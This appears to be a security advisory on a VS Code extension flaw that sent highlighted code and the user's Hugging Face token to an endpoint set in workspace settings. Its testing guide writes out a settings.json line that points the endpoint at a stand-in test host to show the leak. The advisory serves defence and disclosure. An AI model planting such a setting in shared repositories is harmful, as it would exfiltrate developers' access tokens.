Information Leak in Hugging Face VS Code Extension via Unvalidated Inference Endpoint
Overview
The official Hugging Face Visual Studio Code extension was found to have a high-severity vulnerability that could lead to the leakage of sensitive user information, including the Hugging Face access token. The vulnerability, tracked as CVE-2024-22424, existed in the extension's handling of the Inference API endpoint configuration. The extension allowed the LLM Inference API endpoint to be configured via workspace settings in a project's `.vscode/settings.json` file. However, it did not properly validate the configured URL. An attacker could create a crafted `settings.json` file within a malicious repository. When a developer opened this repository in VS Code with the vulnerable extension installed, the extension would automatically use the attacker-controlled URL as its inference endpoint. Consequently, any text the developer highlighted to be processed by the extension's features (e.g., 'Explain Code') would be sent to the attacker's server. More critically, the extension also included the user's Hugging Face API token in the `Authorization` header of the request, effectively exfiltrating the token to the attacker. This token could then be used to access private models, datasets, and impersonate the user on the Hugging Face Hub.
Affected Systems
Testing Guide
1. **Check Extension Version:** In VS Code, navigate to the Extensions view, find the 'Hugging Face' extension, and check its version. If it is below `1.0.0`, you are vulnerable. 2. **Simulate the Attack:** In a safe, isolated environment, create a new folder and add a `.vscode/settings.json` file with the content: `{"huggingface.inferenceEndpoint": "http://your-test-server.com"}`. 3. **Monitor Network:** Open this folder in VS Code with the vulnerable extension. Use a tool like Wireshark or a local server to monitor for outbound network requests. When you use an extension feature, you will see it making a request to `your-test-server.com`, including an `Authorization` header if you are logged in.
Mitigation Steps
1. **Update Extension:** Update the Hugging Face VS Code extension to version `1.0.0` or later through the Visual Studio Code marketplace. 2. **Revoke Leaked Tokens:** If you have used a vulnerable version of the extension on an untrusted repository, immediately revoke your Hugging Face API tokens via your account settings and generate new ones. 3. **Review Workspace Settings:** Be cautious when opening untrusted projects. Before interacting with any extensions, review the contents of the `.vscode/settings.json` file for any suspicious configurations, especially those defining external URLs or endpoints. 4. **Disable Automatic Setting Trust:** Configure VS Code to not automatically trust workspace settings from untrusted sources.
Patch Details
Patched in version 1.0.0 by enforcing that the custom inference endpoint must be a subdomain of huggingface.co.